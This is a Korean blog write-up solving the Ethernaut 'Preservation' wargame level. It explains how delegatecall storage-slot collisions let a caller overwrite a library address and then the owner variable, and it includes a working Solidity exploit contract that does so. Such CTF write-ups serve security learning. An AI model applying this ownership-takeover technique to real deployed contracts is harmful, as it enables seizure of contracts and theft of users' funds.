// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
Understanding what it means for delegatecall to be context-preserving.
Understanding how storage variables are stored and accessed.
Understanding how casting works between different data types.
이번 문제는 owner를 탈취하면 되는 문제이다. owner를 바꿀 수 있는 포인트가 없는걸로 봐서는 기존의 방법처럼 로지컬 버그로 풀리는 문제는 아닌거 같다. 설레는 마음을 갖고 풀어보겠다.
owner는 처음에 생성자를 통해서 결정이 되고 함수는 총 두가지로, 두함수 전부 다 delegatecall을 이용하여 LibraryContract 안에 있는 setTimer를 부르는 것을 알 수 있다.
delegatecall의 특성을 이용해야 해당 문제를 풀 수 있다. delegatecall은 만약 컨트랙트 A에서 B에 있는 함수를 delegatecall을 통하여 호출할 때는 B 컨트랙트 안에 있는 변수가 바뀌는 것이 아닌 A의 컨트랙트 안에 있는 변수가 바뀌게 된다. 즉 delegatecall은 피호출자의 로직으로 호출자 안에 있는 값들이 바뀌게 되는 것이다. 만약 변수의 상태를 바꾼다 가정을 한다면 피호출자의 변수 슬롯번호에 맞게 호줄자의 변수가 바뀌게 된다.
그렇다면 setFirstTime 함수를 호출한다면 storedTime의 변수번호가 첫번째이므로 호출자의 첫번째 변수인 timeZone1Library이 바뀌게 된다. 해당 부분을 이용하여 첫번째 콜에서 악성 컨트랙트의 주소를 보내서 악성컨트랙트에 delegatecall을 보내도록 유도를 하고 악성컨트랙트 내부에 owner를 변경하는 setTime 함수가 존재를 한다면 해당 문제를 쉽게 풀 수 있다.
해당 시나리오를 반영한 최종 익스플로잇 코드이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Exploit {
address public slot1;
address public slot2;
address public owner;
Preservation target = Preservation(0x920E7d4A854521504152d0a9Cf8bc3A47fCe5b30);
function exploit() external {
target.setFirstTime(uint256(uint160(address(this))));
target.setFirstTime(uint256(uint160(tx.origin)));
require(target.owner() == msg.sender, "Hack Failde");
}
function setTime(uint _owner) public {
owner = address(uint160(_owner));
}
}
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
악성 트랜잭션을 시도하게 되면 위의 사진처럼 owner를 탈취할 수 있게 된다.
이렇게 문제를 풀 수 있었다.
🚩
'Write Up > Ethernaut - 블록체인 워게임' 카테고리의 다른 글
Ethernaut - 17단계 (Recovery) (0) | 2023.11.28 |
---|---|
Ethernaut - 15단계 (Naught Coin) (4) | 2023.11.23 |
Ethernaut - 14단계 (Gatekeeper Two) (2) | 2023.11.21 |
Ethernaut - 13단계 (Gatekeeper One) (1) | 2023.11.20 |
Ethernaut - 12단계 (Privacy) (0) | 2023.11.18 |